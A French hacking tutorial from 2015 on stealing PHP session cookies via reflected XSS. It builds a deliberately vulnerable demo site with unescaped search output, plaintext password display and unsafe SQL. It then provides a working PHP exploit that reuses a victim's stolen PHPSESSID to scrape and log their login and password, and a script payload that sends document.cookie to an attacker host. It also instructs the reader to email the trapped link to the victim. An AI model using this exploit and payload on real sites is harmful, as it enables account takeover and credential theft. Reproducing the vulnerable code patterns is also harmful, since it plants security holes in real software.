Ce tutorial n'énonce certainement rien de nouveau, mais il vous montrera comment forger un exploit qui agit lorsqu'il est directement utilisé par l'utilisateur cible. Celui-ci peut se servir du cookie pour agir. Par exemple, il peut lire le mot de passe dans une page profil ciblée. Je vais en dire plus dans mon développement.





0x01. PRÉREQUIS


Ce tutorial nécéssite plusieurs notions de base, il est donc impératif de les avoir. Celles-ci se résument par :
* Connaître le XHTML/CSS
* Connaî tre le PHP
* Savoir exploiter une faille XSS (IMPORTANT)





0x02. PRINCIPE DU "VOL DE SESSION"


Certains sites conçus en PHP (beaucoup en fait) utilisent les sessions.


  Citation : http://fr.php.net/sessions/  
Le support des sessions de PHP est un moyen de préserver des données entre plusieurs accès. Cela vous permet
de créer des applications personnalisées, et d'augmenter l'attrait de votre site. 

Le point important, ici, serait de voler ces identifiants. Bien sûr, un cookie est forgé sur la machine de l'utilisateur, et grâce à ce cookie, il récupère ses données de sessions. C'est ce cookie que nous allons subtiliser dans un premier temps, qui contiendra l'identifiant de session plus généralement présenté sous la forme (par exemple...) :


PHPSESSID=326977f81015c5867dc1b98e8ba0d18f 


Vous l'aurez compris, 326977f81015c5867dc1b98e8ba0d18f correspond à un identifiant de session. Si nous volons celui de quelqu'un d'autre, nous aurons volé ses données de session, et nous aurons donc "son apparence".

Néanmoins, là n'est pas la question. Nous allons apprendre à réaliser un "exploit" qui agit directement avec la session volée.


  Définition d'un exploit  
Un exploit est un terme anglais pour désigner un programme, ou un "objet piégé" qui permet d'exploiter une faille
de sécurité d'un programme ou d'un système d'exploitation. Exploit est souvent employé comme synonyme de
Proof of concept (ou PoC : démonstration de faisabilité), mais un exploit peut éventuellement être utilisé à des
fins malveillantes alors qu'un PoC ne l'est généralement pas. 

Étant donné que la faille XSS est exploitable côté client, ce sera la victime qui exécutera l'exploit sans s'en rendre compte.





0x03. MISE EN SITUATION


Pour nous entraîner, nous allons concevoir un site avec une faille de sécurité XSS. Nous allons concevoir :

* Un index (formulaire de connexion)
* Une page de profil
* Un moteur de recherche faillible

C'est le minimum pour notre exemple. Alors codons !

Source de index.php


<?
session_start(); // On initialise la session
// Connexion à mySQL
mysql_connect('localhost', 'root', '');
mysql_select_db('base');
 
// a-t-on décidé de se connecter ?
if(!empty($_POST))
{
	foreach($_POST as $key => $value)
	{
		// sécurise les données
		$$key = htmlentities(addslashes($value));
	}
 
	$sql = mysql_query('SELECT password from table_membre WHERE login=''.$login.''');
	if(!mysql_num_rows($sql))
	{
		echo("<script>alert('Mauvais login')</script>");
	}
	else
	{
		$res = mysql_fetch_array($sql);
		if($password != $res ['password'] )
		{
			echo("<script>alert('Mauvais mot de passe !')</script>");
		}
		else
		{
			// Tout est bon, on initialise les variables de session !
			$_SESSION ['membre']  = 1;
			$_SESSION ['pseudo']  = $login;
		}
	}
} 

Pour résumer, cette page est simplement pour se connecter au site... En passant, je n'ai pas pensé à une chose, étant donné que ce n'est pas important ici : savoir comment contacter la victime. Je pars du principe que vous avez directement trouvé un moyen, je ne suis pas ici pour vous apprendre à faire de la manipulation... Continuons !
Source de search.php


<?
session_start(); // On initialise la session
if(!isset($_SESSION ['membre'] ))
{
	header('Location: index.php'); // Redirection sur l'index si pas connecté
}
else
{
	// Connexion à mySQL
	mysql_connect('localhost', 'root', '');
	mysql_select_db('base');
 
	// On va chercher les données
	$sql = mysql_query('SELECT * FROM table_membre WHERE login=''.$_SESSION ['membre'] .''');
	$res = mysql_fetch_array($sql);
 
	echo('<p>Voici vos informations :
 
	Login : <strong>'.$_SESSION ['pseudo'] .'</strong>
 
	Mot de passe : <strong>'.$res ['password'] .'</strong>
 
 
	La page de profil étant en construction, vous ne pouvez pas
	encore modifier vos infos...</p>');
} 
?> 

Ici, vous l'aurez aussi compris, la page affiche en clair le mot de passe associé au compte. Allez, on y est presque :


<?
if(isset($_GET ['search'] ))
{
	// C'est une simulation, donc :
	echo('<p>Aucun résultat pour : '.stripslashes($_GET ['search'] ).'</p>'); // pas d'htmlentities !!
}
echo('<form method='get' action='search.php'>
<p>Tapez le mot clef de votre recherche : <input type='text' name='search' />
<input type='submit' value='Envoyer' /></p>
</form>');
?>  

Voilà, on a nos pages. Cependant, il manque les données mySQL. C'est rapide, faites ça en requête mySQL :


CREATE TABLE `table_membre` (
`id` INT( 11 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`login` VARCHAR( 200 ) NOT NULL ,
`password` VARCHAR( 200 ) NOT NULL
) ENGINE = innodb;
 
INSERT INTO `table_membre` ( `id` , `login` , `password` )
VALUES (
NULL , 'admin', 'MotDePasseHyperComplique' # Notre cher admin à pirater !
), (
NULL , 'hacker', 'orange' # Notre compte
); 

Ces requêtes vont :
- Créer une table
- Ajouter deux entrées, donc il y aura deux comptes disponibles. Le votre sera le compte 'hacker' (ne trichons pas !)





0x04. A L'ASSAULT !


Notre but sera donc de voler la session de l'user admin. Pour cela, nous lui enverrons un mail pointant sur un lien piégé. Ce lien piégé sera le moteur de recherche.

Nous allons forger un exploit qui :
- Récupère le cookie grâce à la faille XSS
- Se sert de ce cookie pour piocher les infos dans la page de profil

Voici un exemple :


# exploit permettant de logguer le login et le pass d'une victime
$cook = isset($_GET ['cookie'] ) ? $_GET ['cookie']  : NULL;
if($cook)
{
	// On extrait l'id de session gr&acirc;ce à une regex :
	preg_match('`PHPSESSID=(.+?);`isU',$cook,$values); // regex pour capturer le phpsessid
	$phpsessid = $values [1] ;
	$host      = 'hostdusitefaillible.com';
	// Nous allons créer une socket
	// http://php.net/fsockopen pour ceux qui ne savent pas faire
	$sock = fsockopen($host,80); // ne JAMAIS mettre http:// dans l'host ici
 
	// On prépare la requ&ecirc;te
	$req = "GET /profil.php?PHPSESSID=".$phpsessid." HTTP/1.1/r/n";
	$req.= "Host: ".$host."/r/n";
	$req.= "Connection: close/r/n";
 
	/*
		Remarque, ici j'ai fait passé l'identifiant de session dans l'url.
		Une autre méthode de requ&ecirc;te PHP aurait pu &ecirc;tre celle-ci :
 
		$req = "GET /profil.php HTTP/1.1/r/n";
		$req.= "Host: ".$host."/r/n";
		$req.= "Cookie: PHPSESSID=".$phpsessid.";/r/n"; // Déjà plus s&ucirc;r ;)
		$req.= "Connection: close/r/n/r/n";
	*/
 
	// On envoie la requ&ecirc;te
	fwrite($sock,$req);
 
	// On récupère la réponse
	$response = '';
	while(!feof($sock))
	{
		$response .= fgets($sock);
	}
 
	// On extrait le login et le pass
	preg_match('`Login : <strong>(.+?)</strong>
`i',$response,$values);
	$login = $values [1] ;
 
	preg_match('`Mot de passe : <strong>(.+?)</strong>
 
`i',$response,$values2);
	$pass = $values2 [1] ;
 
	// On loggue les infos :
	$fp = fopen('logs_attaque_xss.txt','a');
	fwrite($fp,'Login : '.$login.' possède le pass : '.$pass."/r/n");
	fclose($fp);
} 

Voilà à quoi peut ressembler notre exploit. Le plus important est de lui attribuer une URL. Par exemple : http://host_hacker.com/exploit.php

Maintenant, on lance l'attaque sur le site, on peut avoir au final comme code :


<script>document.write('<img src="http://host_hacker.com/exploit.php?cookie='+document.cookie+'" />');</script> 

Passez ce code dans l'input dans la page de recherche, vous tombez sur une URL du style :


http://www.hostdusitefaillible.com/search.php?word=%3Cscript%3Edocument.write(%25%3Cimg%20src=%22
http://host_hacker.com/exploit.php?cookie=%25%2Bdocument.cookie%2B%25%22%20/%3E%25);%3C/script%3E 

Note : j'ai tronqué l'url pour ne pas déformer la page, il n'y a donc aucune coupure entre %22 et h) Enfin, en envoyant cette url à notre victime et en nous assurant qu'elle l'ait consulté, nous pourrons voir dans nos logs (par exemple) :


Login : admin possède le pass : MotDePasseHyperComplique 



0x05. CONCLUSION


Les exploits pour les failles XSS permettent d'effectuer directement des actions sans que le hacker ait à se bouger le derrière pour récupérer des infos à la main. Notons qu'on peut faire bien plus de choses si le site nous le permet. Nous pouvons assimiler ces attaques à la "fusion" d'une faille XSS et d'une faille CSRF.




   =>   Écrit par : Geo, le 16 septembre 2015


 
Mots clés :  
  web 
  
  php 
  
  sql 
  
  html 
    >   Articles connexes :

HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...

TLD et Indexes téléphoniques



Troll The Lamer



Se protéger des injections SQL



Backdoor via injection SQL


Nous allons voir comme effectuer une injection SQL en contournant la protection par addslashes().

Injection SQL avec UNION



5943929